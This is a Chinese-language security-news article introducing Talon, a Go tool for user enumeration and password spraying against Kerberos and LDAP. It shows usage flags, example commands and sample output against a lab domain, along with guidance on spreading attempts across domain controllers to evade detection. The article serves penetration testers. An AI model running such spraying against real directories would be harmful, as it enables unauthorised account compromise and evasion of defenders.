freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Talon:一款针对Kerberos和LDAP服务的密码爆破工具
2020-12-09 18:25:46

Talon

Talon是一款针对Kerberos和LDAP服务的密码爆破工具,该工具能够在保持在无法被检测到的情况下执行自动化的密码爆破攻击。Talon能够枚举Kerberos用户列表,并识别出有效的用户角色。除此之外,Talon还可以针对Kerberos和LDAP Secure服务来执行密码爆破攻击。Talon能够使用一个或多个域控制器来执行这些攻击,并且能够实现域控制器和服务(Kerberos或LDAP Secure)之间的请求随机化。

工具下载

广大研究人员可以访问该项目的【Releases页面】来下载对应操作系统架构的Talon。

工具使用

$ ./Talon -h

Usage of ./Talon:

  -D string

     Fully qualified domain to use

  -E Enumerates which users are valid

  -H string

     Domain controller to connect to

  -Hostfile string

     File containing the list of domain controllers to connect to

  -K Test against Kerberos only

  -L Test against LDAP only

  -O string

     File to append the results to

  -P string

     Password to use

  -U string

     Username to authenticate as

  -Userfile string

     File containing the list of usernames

  -debug

     Print debug statements

  -sleep float

     Time inbetween attempts (default 0.5)

枚举模式

用户枚举模式可以使用-E选项来执行,该模式下的Talon只会向目标目标KDC发送Kerberos TGT预认证请求,不过这个请求目前使用的是不支持的加密类型。Talon将会检查KDC返回的响应信息,并判断其中是否包含KDC_ERR_ETYPE_NOSUPP(表明用户存在)或DC_ERR_C_PRINCIPAL_UNKNOWN(表明用户不存在)。Talon能够针对目标企业中的多个域控制器来执行这种类型的枚举操作,使用-Hostfile命令即可指定多个域控制器,或使用-H来指定单个域控制器。这项技术并不会触发登录失败的情况,因此不会锁定任何用户账号。

./Talon -D STARLABS.LOCAL -Hostfile DCs -Userfile Users -sleep 1 -E

 

  __________  ________  ___       ________  ________

  |\___    _\\\   __  \|\  \     |\   __  \|\   ___  \

  \|___ \  \_\ \  \|\  \ \  \    \ \  \|\  \ \  \\ \  \

       \ \  \ \ \   __  \ \  \    \ \  \\\  \ \  \\ \  \

        \ \  \ \ \  \ \  \ \  \____\ \  \\\  \ \  \\ \  \

         \ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\

          \|__|  \|__|\|__|\|_______|\|_______|\|__| \|__|

          (@Tyl0us)

 

 

[-]  172.16.144.195 STARLABS.LOCAL\asmith:  = User Does Not Exist

[+]  172.16.144.185 STARLABS.LOCAL\ballen:  = User Exist

[-]  172.16.144.186 STARLABS.LOCAL\bjohnson:  = User Does Not Exist

[-]  172.16.144.195 STARLABS.LOCAL\bwayne:  = User Does Not Exist

[+]  172.16.144.195 STARLABS.LOCAL\csnow:  = User Exist

[-]  172.16.144.186 STARLABS.LOCAL\jtodd:  = User Does Not Exist

[+]  172.16.144.186 STARLABS.LOCAL\hwells:  = User Exist

[-]  172.16.144.186 STARLABS.LOCAL\wwest:  = User's Account Locked

自动化密码爆破模式

Talon针对的是Kerberos和LDAP,这两个服务都整合进了活动目录AD中以实现身份认证。Talon能够通过在这两个服务之间交替执行密码爆破攻击,从而实现在两个协议之间分割密码攻击流量。这会拆分生成的潜在事件数量,从而减少发出警报的几率。Talon更进一步,通过使用-Hostfile向企业中的多个域控制器分发密码攻击,每次在LDAP和Kerberos之间交替,以创建额外的模糊层。如果需要,可以使用-H命令提供单个域控制器。

./Talon -D STARLABS.LOCAL -Hostfile DCs -Userfile ValidUsers -P "Not3vil" -sleep 1

 

  __________  ________  ___       ________  ________

  |\___    _\\\   __  \|\  \     |\   __  \|\   ___  \

  \|___ \  \_\ \  \|\  \ \  \    \ \  \|\  \ \  \\ \  \

       \ \  \ \ \   __  \ \  \    \ \  \\\  \ \  \\ \  \

        \ \  \ \ \  \ \  \ \  \____\ \  \\\  \ \  \\ \  \

         \ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\

          \|__|  \|__|\|__|\|_______|\|_______|\|__| \|__|

          (@Tyl0us)

 

                

[-]  172.16.144.186 STARLABS.LOCAL\admin:Not3vil = Failed

[-]  172.16.144.185 STARLABS.LOCAL\ballen:Not3vil = Failed

[-]  172.16.144.195 STARLABS.LOCAL\cramon:Not3vil = Failed

[+]  172.16.144.185 STARLABS.LOCAL\hwells:Not3vil = Success

[-]  172.16.144.195 STARLABS.LOCAL\ssmith:Not3vil = Failed

Talon还可以使用-K选项或-L选项来进队Kerberos或LDAP执行渗透攻击。

除此之外,在执行密码爆破攻击的过程中,Talon还可以使用Kerberos和LDAP来读取响应信息。Talon能够在执行密码破解攻击的过程中,通过读取每一次密码请求尝试返回的响应码来检测账号锁定情况,这将帮助我们防止在企业内部网络进行测试的时候出现账号被锁定的情况,以避免被检测到。

root@kali:~# ./Talon -Hostfile DCs -Userfile ValidUsers -D STARLABS.local -P "Password!" -sleep 2

 

  __________  ________  ___       ________  ________

  |\___    _\\\   __  \|\  \     |\   __  \|\   ___  \

  \|___ \  \_\ \  \|\  \ \  \    \ \  \|\  \ \  \\ \  \

       \ \  \ \ \   __  \ \  \    \ \  \\\  \ \  \\ \  \

        \ \  \ \ \  \ \  \ \  \____\ \  \\\  \ \  \\ \  \

         \ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\

          \|__|  \|__|\|__|\|_______|\|_______|\|__| \|__|

          (@Tyl0us)

 

 

[-]  172.16.144.186 STARLABS.LOCAL\ballen:Password! = Failed

[-]  172.16.144.185 STARLABS.LOCAL\csnow:Password! = Failed

[-]  172.16.144.186 STARLABS.LOCAL\wwest:Password! = User's Account Locked

[*] Account lock out detected - Do you want to continue.[y/n]:

代码贡献

Talon基于Golang开发,如需贡献自己的代码,首先请将该项目代码库克隆至本地。在编译Talon之前,我们还需要安装好相应的依赖组件。请先运行下列命令:

go get github.com/fatih/color

go get gopkg.in/jcmturner/gokrb5.v7/client

go get gopkg.in/jcmturner/gokrb5.v7/config

go get gopkg.in/jcmturner/gokrb5.v7/iana/etypeID

go get gopkg.in/ldap.v2

接下来,运行下列命令实现项目构建:

go build Talon.go

项目地址

Talon:【GitHub传送门

参考资料


# Kerberos # LDAP # 密码猜解
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录